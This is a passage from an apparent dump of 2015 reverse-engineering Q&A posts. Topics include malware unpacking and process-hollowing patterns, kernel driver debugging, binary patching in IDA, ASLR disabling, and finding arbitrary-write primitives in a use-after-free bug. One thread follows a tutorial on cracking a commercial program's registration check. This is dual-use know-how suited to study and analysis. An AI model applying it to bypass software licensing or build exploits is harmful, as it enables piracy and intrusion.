The key is to approach unpacking analytically. You have a state A, which is a (possibly!) packed executable, and you have a desired state B which contains code you can analyze in IDA for example. You want to find where that state switch happens.

\n\n

This sounds rather generic, and that's because it is. Especially in malware unpacking, it's not always 100% clear when code is unpacked. Sometimes there is no unpacked binary, but injected shellcode. Sometimes you get 3 stages of unpacking.

\n\n

So then, this is not helpful. That's why you start with very simple approaches to learn the patterns.

\n\n

That's where the ESP trick you mentioned comes into play. This is a trick that commonly allows you to skip code. Oftentimes, unpacking stubs are surrounded with pushad/popad to not taint the environment before the actual code runs. That's one pattern to learn - something starts with saving the execution state (more or less) - so we're interested in what happens afterwards.

\n\n

Another idea: PE executables have a header. So if some unpacker unpacks the target code, does it restore the original header? The answer surprisingly is mostly yes! That's great, because now we can just watch for the header being changed and are close to the final form of the code. This can be done be setting a Hardware Breakpoint on Write on some field in the header - for example the AddressOfEntryPoint, because that's what we want to know!

\n\n

Then there are so-called RunPE packers (also now referred to as 'process hollowing') - they broke up with the concept of unpacking as in a small stub that rebuilds the original executable in-placce but instead create a new (possibly unrelated) process, then rewrite that new process to the state of the original binary.

\n\n

So how do we handle that? We watch for APIs that are used. We watch for CreateProcess(CREATE_SUSPENDED), we watch WriteProcessMemory, we watch ResumeThread. Of course, there are dozens of variations (ZwWriteVirtualMemory, ZwResumeProcess, ZwCreateProcess and so on) but the key steps are the same: Create some new process, modify it, resume execution.

\n\n

Then there are examples that simply don't fit a scheme themselves - what to do with them? Follow their code flow! Look until you see something you can use. Sometimes you'll end up with some dumped shellcode from WriteProcessMemory, but that's the 'final' stage B, there is nothing else.

\n\n

This is a long answer but my point is: Unpacking is simple - packed code is transformed into unpacked code. There is no magic between these steps, so follow the code and think outside the box.

\n\n

Sometimes all you need is a breakpoint on VirtualFree() to catch the unpacked code being freed. Sometimes you just need a breakpoint on VirtualAlloc() and watch what is written there. By thinking about what CAN happen between state A and B you'll find points to 'ambush' the unpacked code so to speak.

\n" }, { "Id": "8655", "CreationDate": "2015-04-07T23:44:15.937", "Body": "

So I'm trying to reverse engineer a LFSR encryption scheme using IDA, and am (hopefully) pretty close to cracking it.

\n\n

The code in particular iterates through every byte of the encrypted file, decrypts it and stores it in memory (var v22). What stumps me however, is the way the pseudocode seems to do some operations on the variable before declaring it \u2013 which I have no idea how to \"translate\" into something a bit less cryptic.

\n\n

I've included the code below:

\n\n
file = fopen((const char *)&bin_filename, \"rb\");\nfseek(file, 0, 0);\n\nmemset(&v22, 0, 0x80000u);\ni = 0;\nwhile ( feof(file) == 0 ){\n    fread(&byte, 1u, 1u, file);\n\n    if ( i % 4 ){\n        decryptedByte = DecryptByte(byte);\n\n        // What happens here on the left hand side of the bitwise OR assignment?\n        *(&v22 + i / 4) |= decryptedByte << 8 * (i - ((i + ((unsigned int)(i >> 31) >> 30)) & 0x1C));\n    }\n    else {\n        decryptedByte = DecryptByte(byte);\n        *(&v22 + i / 4) = decryptedByte;\n    }\n\n    ++i;\n}\n
\n\n

As indicated by my comment above, what I don't understand is the meaning of *(&v22 + i / 4) = in the context of a variable assignment.

\n\n

How does decryptedByte get assigned to a math equation?

\n", "Title": "Understanding pseudocode containing a math operation in a variable assignment", "Tags": "|decompilation|deobfuscation|decryption|", "Answer": "

v22 is the first byte of an 0x80000-byte buffer.

\n\n

&v22 is a pointer to that buffer.

\n\n

&v22 + i / 4 is a pointer to the i/4'th byte in that buffer.

\n\n

*(&v22 + i / 4) |= ... ORs the i/4'th byte in that buffer with decryptedByte << 8 * (i - ((i + ((unsigned int)(i >> 31) >> 30)).

\n" }, { "Id": "8665", "CreationDate": "2015-04-09T01:15:47.943", "Body": "

I am following this tutorial on reverse engineering. In the step where I \"search for all referenced strings\" I get a window as follows:

\n\n

\"enter

\n\n

When compared to the image on the tutorial for the step, I found that the column headings of my window are : Address Command Comments where as according to the tutorial it is supposed to be: Address Disassembly Text String (It is not seen on the tutorial but I dig the internet before making this post).

\n\n

I am using Windows 8.1. I have run Ollydbg as administrator with compatibility mode for Windows 7 and Windows XP SP3, used Ollydbg 1.10 and 2.0 but I get same results. The module loaded is also the correct (not the ntdll). The exe version is a different one but I installed it and the overall functionality of the new version is still the same - gives out the exactly same error message for invalid registration.

\n\n

What am I doing wrong/missing here?? What might be the reason of this and how can I overcome it?

\n", "Title": "Ollydbg does not find all referenced strings while Reverse Engineering AoneVideo2AudioConverter", "Tags": "|disassembly|ollydbg|executable|patch-reversing|", "Answer": "

possibilities:

\n\n
    \n
  1. Maybe the protection has been changed as @Guntram Blohm said.
    2. \n
  2. Have you checked your OllyDBG version. I guess this problem might have been occurred because your version doesn't support OS architecture or to be more specific, it doesn't have the proper plugins.
    3. \n
\n\n

Suggestions:

\n\n\n" }, { "Id": "8670", "CreationDate": "2015-04-09T15:20:41.963", "Body": "

I'm sorry for my bad English. I'm a beginner in Reverse Engineering. I have a problem like this. I was given two files, one is driver's .inf file and the other is driver's .sys file. My mission is to debug this driver and understand its functionality(driver doesn't have physical device). I use 2 machines, one is the host machine which is actually my real computer and a XP virtual machine(VMware). I also use VirtualKD and Windbg. I want to set breakpoint at its DriverEntry.

\n\n

When I installed driver, I noticed that it ran automatically right after being installed. So I can't set breakpoint at DriverEntry. I restarted virtual machine and set breakpoint in Windbg with all the following commands:\n
bu Driver!DriverEntry (Driver is driver's ClassName, I saw it in .inf file)\n
bu Drv!DriverEntry (Drv is its service name when installed)\n
bu drv!DriverEntry (drv is sys file name, drv.sys)\n
But Windbg didn't catch any breakpoints. I saw Windbg printed out some infos, I don't know whether it made breakpoints could not catch:

\n\n
\n
\n
\n \n

*\n * A driver is mapping physical memory 0064F000->006D0FFF\n * that it does not own. This can cause internal CPU corruption.\n * A checked build will stop in the kernel debugger\n * so this problem can be fully debugged.\n *

\n \n
\n
\n \n

ERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 5\n ERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 5\n ERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 5\n CodeSet_Init: no ICU\n watchdog!WdUpdateRecoveryState: Recovery enabled.

\n
\n\n


My second thought was I rolled back my virtual machine and set breakpoints before installing driver. But Windbg said that it could not resolve those breakpoints. And of course it cannot hit any of them.\n

I really don't know how to set this driver's entry. Please help me. Thank you.\n

P/S: probably this driver can communicate with other app through pipe. How can I debug it without infecting its communication?

\n", "Title": "Kernel debugging - how to set breakpoint at DriverEntry?", "Tags": "|debugging|windbg|kernel-mode|virtual-machines|driver|", "Answer": "

patch the Address of Entry Point with a (0xcc aka int 3) and load the driver AddrOfEntryPoint normally points to either DriverEntry or GsDriverEntry

\n\n

when broken you need to replace 0xcc by original byte and reset eip back by a byte

\n\n
use eb <address> originalbyte enter \nr eip = <addresss>\n
\n\n

here is the entry point of beep.sys which points to Beep!driverEntry

\n\n
lkd> lm m beep\nstart    end        module name\nf7b0e000 f7b0f080   Beep       (pdb symbols)          f:\\symbols\\beep.pdb\\65DC45B439164E4C9DEFF20E161DC74C1\\beep.pdb\nlkd> ? by(beep+3c) \nEvaluate expression: 208 = 000000d0\nlkd> ? dwo(beep+dwo(beep+3c)+28)\nEvaluate expression: 1644 = 0000066c\nlkd> .printf \"%y\\n\" , beep+66c\nBeep!DriverEntry (f7b0e66c)\nlkd>\n
\n" }, { "Id": "8674", "CreationDate": "2015-04-09T20:55:46.900", "Body": "

I have been looking around for ways to make plugins in Ollydbg 2 and I haven't seen a good amount of information;I keep finding guides for Immunity Dbg or how to make plugins work.

\n\n

I don't mind learning to make plugins but, there seems to be a very limited amount of information on the net for Ollydbg. Does anyone know where I can find some information on how to make plugins for Ollydbg?

\n", "Title": "Making plugins for Ollydbg 2", "Tags": "|ollydbg|automation|plugin|", "Answer": "

complete src code and build instruction is available in this post for a sample plugin

\n\n

OllyDbg 2.01 Run Trace "Skip selection option"

\n" }, { "Id": "8678", "CreationDate": "2015-04-11T00:26:52.727", "Body": "

Platform: Windows 7 64bit, target 32bit.

\n\n

I have had an idea of using data mining techniques (maybe even some primitive machine learning) on EIP data, so as to be able to correlate with something later. Just the EIP because everything else needed could later be pulled from the target process anyway as leisure (aside from stack or dynamic memory).

\n\n

I plan to use PCA or perhaps even a SOM for clustering.

\n\n

So the actual question: Is there a way to attach to a process in such a way as to be able to continuously dump EIP to file while at the same time having the least possible effect on target's performance?

\n\n

Thank you.

\n", "Title": "How do you efficiently record EIP of a target continuously?", "Tags": "|debugging|", "Answer": "

To add to the above from @Neitsa, there is a great post by Axel \"0vercl0k\" Souchet:

\n\n

Some Thoughts About Code-coverage Measurement With Pin

\n\n

about using PIN for basic blocks logging with all the way explained from idea to the development POC based on PIN framework.

\n\n

You can definitely use the provided code there and adjust it to log all the instructions for your needs. Probably even the basic blocks logging could serve your needs in the begging.

\n" }, { "Id": "8680", "CreationDate": "2015-04-11T02:34:39.343", "Body": "

I've been reverse engineering the Yikyak application, and I came across this function

\n\n

One particular function is used in order to verify the integrity of the API call. The decompiler failed to figure out what was going on with the bytecode (provided below), so I wrote in what I thought was the byte code equivalent (this is my first time working with Java bytecode, my apologies for any errors).

\n\n

One of the things I was stuck on is figuring out how to determine the value referred to in the constant pool.

\n\n
/* Error */\n/* public static String a(String paramString, byte[] paramArrayOfByte)\n* Generates a hash to verify the integrity of the API call based on the time (param1 as String) and YikYak.uniqueMD5Hash.getBytes()\n*/\npublic static String hashApiCall(String paramString, byte[] paramArrayOfByte)\n{\n    // Possible values for hash algo: HmacMD5, HmacSHA1, HmacSHA256, HmacSHA384, HmacSHA512\n    SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte, (String hash algo)ldc 179);\n    Mac localMac = Mac.getInstance((String hash aglo)ldc 179);\n    localMac.init(localSecretKeySpec);\n    localMac.doFinal(byte[] ?);\n    String str2 = Base64.encodeToString(?);\n    String str3 = str2.trim();\n    return str3;\n\n    // Byte code:\n    //   0: new 177 javax/crypto/spec/SecretKeySpec\n    //   3: dup\n    //   4: aload_1\n    //   5: ldc 179\n    //   7: invokespecial 182   javax/crypto/spec/SecretKeySpec:<init>  ([BLjava/lang/String;)V\n    //   10: astore_2\n    //   11: ldc 179\n    //   13: invokestatic 188   javax/crypto/Mac:getInstance    (Ljava/lang/String;)Ljavax/crypto/Mac;\n    //   16: astore 8\n    //   18: aload 8\n    //   20: aload_2\n    //   21: invokevirtual 192  javax/crypto/Mac:init   (Ljava/security/Key;)V\n    //   24: aload 8\n    //   26: aload_0\n    //   27: invokevirtual 136  java/lang/String:getBytes   ()[B\n    //   30: invokevirtual 196  javax/crypto/Mac:doFinal    ([B)[B\n    //   33: iconst_0\n    //   34: invokestatic 202   android/util/Base64:encodeToString  ([BI)Ljava/lang/String;\n    //   37: astore 9\n    //   39: aload 9\n    //   41: invokevirtual 205  java/lang/String:trim   ()Ljava/lang/String;\n    //   44: astore 12\n    //   46: aload 12\n    //   48: astore 4\n    //   50: aload 4\n    //   52: areturn\n    //   53: astore 6\n    //   55: aconst_null\n    //   56: astore 4\n    //   58: aload 6\n    //   60: astore 7\n    //   62: aload 7\n    //   64: invokevirtual 208  java/security/NoSuchAlgorithmException:printStackTrace  ()V\n    //   67: goto -17 -> 50\n    //   70: astore_3\n    //   71: aconst_null\n    //   72: astore 4\n    //   74: aload_3\n    //   75: astore 5\n    //   77: aload 5\n    //   79: invokevirtual 209  java/security/InvalidKeyException:printStackTrace   ()V\n    //   82: goto -32 -> 50\n    //   85: astore 11\n    //   87: aload 9\n    //   89: astore 4\n    //   91: aload 11\n    //   93: astore 5\n    //   95: goto -18 -> 77\n    //   98: astore 10\n    //   100: aload 9\n    //   102: astore 4\n    //   104: aload 10\n    //   106: astore 7\n    //   108: goto -46 -> 62\n    // Local variable table:\n    //   start  length  slot    name    signature\n    //   0  111 0   paramString String\n    //   0  111 1   paramArrayOfByte    byte[]\n    //   10 11  2   localSecretKeySpec  javax.crypto.spec.SecretKeySpec\n    //   70 5   3   localInvalidKeyException1   java.security.InvalidKeyException\n    //   48 55  4   str1    String\n    //   75 19  5   localObject1    Object\n    //   53 6   6   localNoSuchAlgorithmException1  java.security.NoSuchAlgorithmException\n    //   60 47  7   localObject2    Object\n    //   16 9   8   localMac    javax.crypto.Mac\n    //   37 64  9   str2    String\n    //   98 7   10  localNoSuchAlgorithmException2  java.security.NoSuchAlgorithmException\n    //   85 7   11  localInvalidKeyException2   java.security.InvalidKeyException\n    //   44 3   12  str3    String\n    // Exception table:\n    //   from   to  target  type\n    //   11 39  53  java/security/NoSuchAlgorithmException\n    //   11 39  70  java/security/InvalidKeyException\n    //   39 46  85  java/security/InvalidKeyException\n    //   39 46  98  java/security/NoSuchAlgorithmException\n}\n
\n\n

Is there a way to determine what values are in the constant pool (specifically, 179) in order to determine the hashing algorithm that's being used?

\n\n

Thanks in advance!

\n", "Title": "Correct reassembly of Java bytecode", "Tags": "|java|byte-code|", "Answer": "

First off, have you tried using a better decompiler? I'd recommend Krakatau, since it's specifically designed for handling obfuscated applications (disclosure: I wrote it). Apart from Krakatau, the best decompiler I know of is Procyon.

\n\n

Second, you can see the constant pool by passing the right option to the disassembler. If you're using the Krakatau disassembler, you'd just pass -cpool. You can also use javap in which case you'd pass -v. However, javap is not designed for reverse engineering and has numerous issues, so you're better off with Krakatau for serious disassembly.

\n" }, { "Id": "8699", "CreationDate": "2015-04-14T01:06:15.833", "Body": "

For experimentation, while waiting for vendor to fix bug, wanted to try and eliminate a crash that occurs on occasion. Up till now I've only done patching replacing existing code, not trying to insert additional code.

\n\n

Original

\n\n
.text:000000018000A260                 cmp     [rax], r12d <- RAX=0, crashes program\n.text:000000018000A263                 jz      short loc_18000A271\n.text:000000018000A265                 cmp     dword ptr [rax], 6\n.text:000000018000A268                 jnz     short loc_18000A276\n.text:000000018000A26A                 cmp     ecx, 40h\n
\n\n

And further on:

\n\n
.text:000000018000A21B                 mov     rcx, [rsp+388h+var_350]\n.text:000000018000A220                 call    cs:WindowsDeleteString\n.text:000000018000A226                 mov     [rsp+388h+var_350], r15\n.text:000000018000A22B                 mov     rbx, [rsp+388h+var_348]\n
\n\n

I want to insert some new instruction, changing to jmp to patched code

\n\n
.text:000000018000A260                 jmp     <patched code>\n
\n\n

Patched Code Idea - I can't find much suitable place to insert code - so was thinking of shortening some non-essential strings in .rdata section to insert this code - Is there any issue with this? Essentially what I am trying to do is if RAX = 0 , skip over the use of [rax]

\n\n
cmp rax,0\njz .text:000000018000A21B ; The code point past using [rax]\ncmp [rax], r12d\njmp .text:000000018000A263 ; Continue program execution normally\n
\n\n

Now it seems IDA \"Assemble\" doesn't always work, for example cmp rax,0 it says \"Invalid Operand\" So I had to patch bytes instead

\n\n
48 83 F8 00 = cmp rax,0\n
\n\n

Is there a way to get the \"assemble\" in IDA to reference my jump locations, using the location references in IDA. Or is there a suggested method to calculate how to build my jmp/jz instructions.

\n", "Title": "Patching jmp instructions on amd64 with IDA", "Tags": "|ida|assembly|", "Answer": "
\n

Patched Code Idea - I can't find much suitable place to insert code -\n so was thinking of shortening some non-essential strings in .rdata\n section to insert this code - Is there any issue with this?

\n
\n\n

You should not use the .rdata section as it's usually not not marked for execution of code. If you ignore this you will trigger DEP and changing the segment to allow code executions is obviously not recommended as well.

\n\n

I would suggest to add a segment, extend the current segment or find some empty space in the current segment (maybe there's align bytes at the end).

\n\n
\n

Is there a way to get the \"assemble\" in IDA to reference my jump\n locations, using the location references in IDA. Or is there a\n suggested method to calculate how to build my jmp/jz instructions.

\n
\n\n

You can just take the difference between the two virtual addresses and use a relative jump (0xE9).

\n\n
\n

Now it seems IDA \"Assemble\" doesn't always work, for example cmp rax,0\n it says \"Invalid Operand\"

\n
\n\n

This feature is not supported for AMD64 according to Hex Rays:

\n\n
\n

The assembler command is supported for only a few processors, only a\n few instructions. We do not plan to extend this feature, sorry

\n
\n" }, { "Id": "8700", "CreationDate": "2015-04-14T09:56:51.837", "Body": "

As you know, OllyDbg provides labelling. When I see referenced address which assembly code has, I would get information(Label name) if referenced address is labeled.\nBut If labeled address would be referenced indirectly(e.g. mov eax, dword ptr[eax]) or labelled address is stack, OllyDbg cannot show label to reverser. (also, Status bar which is below CPU cannot show label too)\nIs there other way to view label in OllyDbg? It's too hard to analyze obfuscated code because of this poooor behavior

\n", "Title": "OllyDbg Labelling", "Tags": "|ollydbg|", "Answer": "

Did you try OllyDBG 2.01 ? It correctly shows the label in the status bar below the CPU for me.

\n\n

\"CPU

\n" }, { "Id": "8701", "CreationDate": "2015-04-14T17:57:28.980", "Body": "

I'm analyzing a use-after-free bug in IDA Pro by hand. Basically, I control the content of an object (pointed by a register) and I want to force a write at an arbitrary address. For instance, I might find a mov [ebx], eax, where I can control both eax and ebx.

\n\n

Is there a way to automate this task at least in part?

\n\n

Here's a simple example. Let's say we control the data pointed by ecx and we have this code:

\n\n
  mov eax, [ecx]\n  test dword ptr [ecx+8], 8\n  jz skip\n  mov ebx, [ecx+4]\n  mov [eax], ebx    <---- arbitrary write\nskip:\n
\n\n

As you can see, by choosing the values at [ecx], [ecx+4] and [ecx+8] carefully, we can perform an arbitrary write. In reality, the code is much more complex, so it's hard to keep track of what we control and find a suitable instruction.

\n", "Title": "Analyzing a use-after-free bug (taint analysis?)", "Tags": "|ida|vulnerability-analysis|", "Answer": "

I would agree with you in that you need to implement some kind of taint tracing, what is tricky statically. Moreover, you need to know whether there are any constraints applied to your controlled values. Also, we land in the symbolic execution domain (warning, there be dragons).

\n\n

Anyway, maybe this project can be helpful to you. It even has IDA Pro integration in the latest version.

\n\n

Good luck!

\n" }, { "Id": "8704", "CreationDate": "2015-04-15T08:04:10.690", "Body": "

I've been given an ELF binary file which self describes as PowerPC 64-bit. The e_entry field of the ELF header points to the beginning of a section called .opd. According to this specification, it is supposed to point to a function descriptor. The same specification states that a function descriptor consists of three doublewords (64-bit words).

\n\n

However, the binary in question (available here) appears to have only two 32-bit words for each function descriptor.

\n\n

So the question is, why are there 32-bit pointers in this 64-bit binary?

\n", "Title": "Can PowerPC64 ELF file have 32-bit pointers?", "Tags": "|elf|powerpc|", "Answer": "

PS3 (cell) ABI used 64-bit registers but 32-bit pointers. Maybe this sample is from there.

\n\n

P.S. section names .sceStub.text and .rodata.sceResident definitely point to Sony code (SCE= Sony Computer Entertainment)

\n" }, { "Id": "8708", "CreationDate": "2015-04-16T12:46:55.040", "Body": "

I am reversing a few modules which share many c++ classes. I am currently maintaining a single header file which contains every struct definition from each database. I update this using a produced header file after working on a module. I then import it when I begin working on a separate module. This approach is error prone, and I have lost some progress by mistakenly overwriting modified structs in different databases.

\n\n

Is it possible to configure IDA Pro to read and write to a single struct definition file across multiple databases? If not, what would be a best practice for this type of situation?

\n", "Title": "How can I sync structs across multiple IDA databases?", "Tags": "|ida|", "Answer": "

you can try extending this plugin which already implements the export and import part of the functionality.

\n" }, { "Id": "8714", "CreationDate": "2015-04-17T02:33:33.893", "Body": "

I have read that dynamic instrumentation can be done using tools like PIN or Valgrind. However Valgrind provides intermediate representation and converts the binary into SSA which makes it more convenient to perform binary analysis. Could anyone please explain why using an SSA form is more convenient. Why is it difficult to perform dynamic analysis using PIN without an Intermediate representation?

\n\n

Thank you

\n", "Title": "Use of SSA (Single Static Assignment) while dynamic analysis", "Tags": "|dynamic-analysis|", "Answer": "

Answering this questions will require a lot more space than what is provided. I rather point you to the best references you can find in order to deeply understand the requirement for SSA.

\n\n

First, start with Wikipedia so that you get familiarized with the basic structure and building blocks of SSA (Phi functions, ...). Then, move to this reference article published in 1991, which is a bit more hairy than the Wikipedia article.

\n\n

If you want a more detailed document, though incomplete, read this book.
\nIt covers a wide range of algorithms for construction/destruction and also analysis.

\n\n

If you wish a long/detailed answer, let me know so that I can write a proper one.

\n" }, { "Id": "8718", "CreationDate": "2015-04-17T22:52:16.027", "Body": "

I am reversing several modules which are dynamically and statically linked into an executable. I have started learning active analysis by attaching one of my database files to the win32 exe using the local win32 debugger (default settings).

\n\n

Relocating my idb's annotations to map correctly to the exe seems to be taking longer than it should. I am currently doing static analysis by comparing one idb against a memory snapshot because the relocation time does not seem to be worth the wait. This creates, what I think may be, unnecessary work because I have to manually copy the annotations from the single module idb to the snapshot idb.

\n\n

I want to find out if I can change how I use IDA to speed up relocation. I have no notion of how long this should take given the database's and exe's size.

\n\n
idb:  ~133 Mb\nexe:  ~650 Mb     Size taken from task manager\nrelocation time:  ~15+ minutes\n
\n\n

This is very open ended. I guess I'm looking for debugger settings, hidden annotation performance hits, etc. If this is normal I will try to adjust my debugging practice to get the most out of a session.

\n", "Title": "How should I approach debugging a PE which create a large database?", "Tags": "|ida|debugging|dynamic-analysis|", "Answer": "

If the problem is the time it takes for IDA to rebase the IDB when debugging, then some possible solutions:

\n\n
    \n

  1. Disable ASLR from module, so it keeps loading at the same base address (same base address from the IDB)

    \n\n
    2. \n
\n\n

How to: Remove IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE (0x40) from IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics.

\n\n
    \n

  1. [Dangerous] Disable ASLR system wide (would be possible in a spare VM).

    \n\n
    2. \n
\n\n

How to: change HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\MoveImages

\n\n
    \n

  1. Rebase all DLLs so they don't collide (apply this with 1.)

    \n\n
    2. \n
\n\n

How-to:

\n\n\n\n

Simply use different base addresses for all the DLLs (do not apply this on system DLLs).

\n\n
    \n
  1. Use external debugger and synchronize IDB with it.
    2. \n
\n\n

How-to:

\n\n\n" }, { "Id": "8724", "CreationDate": "2015-04-18T20:04:56.420", "Body": "

Given a position-independent, statically-linked, stripped binary, there does not appear to be a way in GDB to set a breakpoint at the entry point without disabling ASLR.

\n\n\n\n

Without patching the binary, what mechanism can I use to break at the first instruction executed?

\n\n

Possible?

\n\n

Since a now-deleted response to the question said that a PIE statically-linked binary is impossible, a trivial example is the linker itself.

\n\n

It is statically linked.

\n\n
$ ldd /lib/x86_64-linux-gnu/ld-2.19.so\n    statically linked\n
\n\n

It is executable.

\n\n
$ strace /lib/x86_64-linux-gnu/ld-2.19.so\nexecve(\"/lib/x86_64-linux-gnu/ld-2.19.so\", [\"/lib/x86_64-linux-gnu/ld-2.19.so\"], [/* 96 vars */]) = 0\nbrk(0)                                  = 0x7ff787b3d000\nwritev(2, [{\"Usage: ld.so [OPTION]... EXECUTA\"..., 1373}], 1Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]\n
\n\n

It is position-independent.

\n\n
$ readelf -h /lib/x86_64-linux-gnu/ld-2.19.so | grep DYN\n  Type:                              DYN (Shared object file)\n
\n\n

Solutions

\n\n

It looks like this can be done with Python by utilizing some of the events made available: http://asciinema.org/a/19078

\n\n

However, I'd like a native-GDB solution.

\n\n

A successful solution will break at _start in ld.so when executed directly without disabling ASLR. It should look something like this:

\n\n
sh $ strip -s /lib/x86_64-linux-gnu/ld-2.19.so -o ld.so\nsh $ gdb ./ld.so\n(gdb) $ set disable-randomization off\n(gdb) $ <your magic commands>\n(gdb) $ x/i $pc\n=> 0x7f9ba515d2d0:     mov    rdi,rsp\n(gdb) $ info proc map\nprocess 10432\nMapped address spaces:\n\n        Start Addr           End Addr       Size     Offset objfile\n    0x7f9ba515c000     0x7f9ba517f000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so \n    0x7f9ba537e000     0x7f9ba5380000     0x2000    0x22000 /lib/x86_64- linux-gnu/ld-2.19.so\n    0x7f9ba5380000     0x7f9ba5381000     0x1000        0x0 \n    0x7fffc34c7000     0x7fffc38ca000   0x403000        0x0 [stack]\n    0x7fffc398b000     0x7fffc398d000     0x2000        0x0 [vdso]\n0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]\n
\n", "Title": "Set a breakpoint on GDB entry point for stripped PIE binaries without disabling ASLR", "Tags": "|debugging|gdb|elf|", "Answer": "

Just stumbled across this and thought I would add a bit.

\n

If you want to stop at the entry point of a stripped, dynamically-linked program, I recommend the following procedure.

\n
    \n
  1. Start GDB with the file.
    2. \n
  2. Start the program with starti so that the loader maps it into memory.\n(By default GDB turns off ASLR for your program, but this method will work either way.)
    3. \n
  3. Use info file to get the address of the entry point. This will show virtual addresses after start (that's why we used starti first).
    4. \n
  4. Find the entry point and set a breakpoint at that address.
    5. \n
  5. Run cont to get to the breakpoint.
    6. \n
\n
$ gdb /usr/bin/ls\n(gdb) starti\n(gdb) info file\n...\nLocal exec file:\n    `/usr/bin/ls', file type elf64-x86-64.\n    Entry point: 0x55555555a7d0\n...\n(gdb) b *0x55555555a7d0\n(gdb) cont\n...\nBreakpoint 1, 0x000055555555a7d0 in ?? ()\n(gdb) x/i $rip\n=> 0x55555555a7d0:  endbr64 \n
\n

Now, if you want main on Linux, step ahead through the disassembly until you find out how rdi is being set (assuming the usual crt0.o has been linked to start the C runtime).

\n
(gdb) \n   0x55555555a7f1:  lea    rdi,[rip+0xffffffffffffe5f8]        # 0x555555558df0\n
\n

Ah ha! We can find main (even without any symbols) at 0x555555558df0.

\n
(gdb) b *0x555555558df0\n(gdb) cont\n
\n

Now you are at main.\nLeaving this here in case someone else comes along with the same question.

\n" }, { "Id": "8726", "CreationDate": "2015-04-19T01:56:06.670", "Body": "

There's a closed source binary that I'm analyzing, and there's a call to VirtualProtect that fails.

\n\n

However, VirtualProtect stores the error code somewhere accesible only via GetLastError, and the binary doesn't even import that function.

\n\n

Can I somehow get the error code without hooking?

\n", "Title": "Can I get the last error using IDA under Windows?", "Tags": "|ida|", "Answer": "

GetLastError simply returns LastErrorValue from the TEB (Thread Environment Block) of the thread concerned.

\n\n

You can access TEB of the current thread through the segment register FS.

\n\n

FS:[0x18] contains the pointer to TEB.

\n" }, { "Id": "8732", "CreationDate": "2015-04-20T03:46:42.333", "Body": "

Is there a way to set breakpoints on all references in one click like we do in OllyDBG \"Set breakpoint on every reference\" ?

\n\n

E.g: after locating CreateFileA API and pressing \"x\" to see all references, we can see where all calls for this function are ... but is there a way to set bps on all calls in one click ?

\n", "Title": "Set breakpoints on all references in IDA", "Tags": "|ida|idapython|", "Answer": "

I don't know about existence of such an ability in IDA, but you can do it with IDAPython as follows:

\n\n
#I didn't check this code, use carefully, beware of errors\n\nimport idc\nimport idaapi\nimport idautils\n\ndef set_breakpoints_on_calls(ea):\n    print \"Setting breakpoints on \", hex(ea)\n    for ref in idautils.CodeRefsTo(ea, 0):\n        print \"Adding bpt on \", hex(ref)\n        idc.AddBpt(ref)\n\ndef set_breakpoints_on_screen_ea():\n    print \"Started\"\n    set_breakpoints_on_calls(idc.ScreenEA())\n\nidaapi.add_hotkey(\"Alt-Z\", set_breakpoints_on_screen_ea)\n
\n\n

By running this code from execute script window you are adding hotkey Alt-Z\nwhich sets breakpoints to all calls to the address where cursor is located.\nYou can add this code to idapythonrc.py file in IDA root folder to make this shortcut persistent (you'll need to rerun IDA after it).

\n" }, { "Id": "8738", "CreationDate": "2015-04-21T14:21:44.363", "Body": "

I enjoy idling in programming related IRC channels so I can research any topic which catches my interest. I have checked the channels for a few forums that I browse, but I can't seem to find an active community. What are some active RCE related channels? It can be about malware analysis / tools / general help / etc, anything.

\n\n

Hopefully this is on topic. I can't think of anywhere else to ask.

\n", "Title": "Are there any active IRC channels for RCE discussion?", "Tags": "|disassembly|", "Answer": "

#cracking4newbies on EFnet\u200b\u200b\u200b\u200b\u200b

\n" }, { "Id": "8749", "CreationDate": "2015-04-23T09:11:13.087", "Body": "

According to what I know, Import Descriptor table is made of an array of _IMAGE_IMPORT_DESCRIPTOR structures. There is one _IMAGE_IMPORT_DESCRIPTOR for every dll that is imported.

\n\n

I have an exe which has two _IMAGE_IMPORT_DESCRIPTOR for kernel32.dll.\n
Why is this so?\n
Why does this exe need to import the dll twice ?

\n\n

Note: I'm using PEview to see the PE structure. Is it possible that PEview is getting confused? Even if there is a problem with PEview is it possible for an exe to import the same dll twice?

\n\n
\n\n

I have another doubt regarding the TLS directory in the PE Structure.

\n\n

Is the TLS directory/Table which is present in the IMAGE_OPTIONAL_HEADER of the PE, present only when the exe/program uses implicit TLS (i.e. __declspec(thread)) and not when we use API(i.e. explicit TLS using functions like TlsAlloc, TlsFree, TlsSetValue and TlsGetValue etc.).

\n\n

Is it common for program's to use this? I have read it in many places that this can be a heuristic for malicious executable.

\n", "Title": "Why does an exe's import Table have two refrences to kernel32.dll (or any other dll)?", "Tags": "|windows|x86|malware|pe|security|", "Answer": "

The import table can theoretically have as many references to a DLL as there are imports. It is a function of the linker that produces this effect, and in some cases, the linker does not perform any kind of string pooling.

\n\n

Borland products treat units as stand-alone objects, so any imported functions that are used are included without reference to any others. The effect is a DLL name, a group of imports for that DLL for the first unit; a DLL name (which might be duplicated), a group of imports for that DLL for the second unit (any or all of which might also be duplicated from the first group); and so on.

\n\n

As far as TLS goes, the TLS directory entry is present only when the program uses EXplicit TLS. i.e. it declares a static TLS entry that the linker can see, and which Windows must initialise when the program first starts (because the program might use it immediately). The use of dynamic TLS (TlsAlloc, TlsFree) is entirely within program control, and the program is required to perform the initialisation itself.

\n" }, { "Id": "8755", "CreationDate": "2015-04-24T02:09:32.750", "Body": "

Z80 was a popular 8-bit processor with a 4-bit ALU.

\n\n

\"Z80

\n\n

Implementing a zero flag for a register should be straight forward, it would be a logical NOR of all the bits on the register.

\n\n

\"Gigantic

\n\n

Something like that would work for a small number of inputs. As for a 64-bit processor you cannot make one gigantic NOR gate with 64 inputs. The fan-in would be too high. 8 transistors would be in series. The circuit capacitance would be high thus slowing down everything else.

\n\n

I can see some other options.

\n\n\n\n

\"two\n\"two

\n\n\n\n

\"three

\n\n\n\n

\"Nibble\"

\n\n

Ken Shirriff wrote a nice article about reverse engineering the Z80 ALU. However when it comes to the zero flag he states:

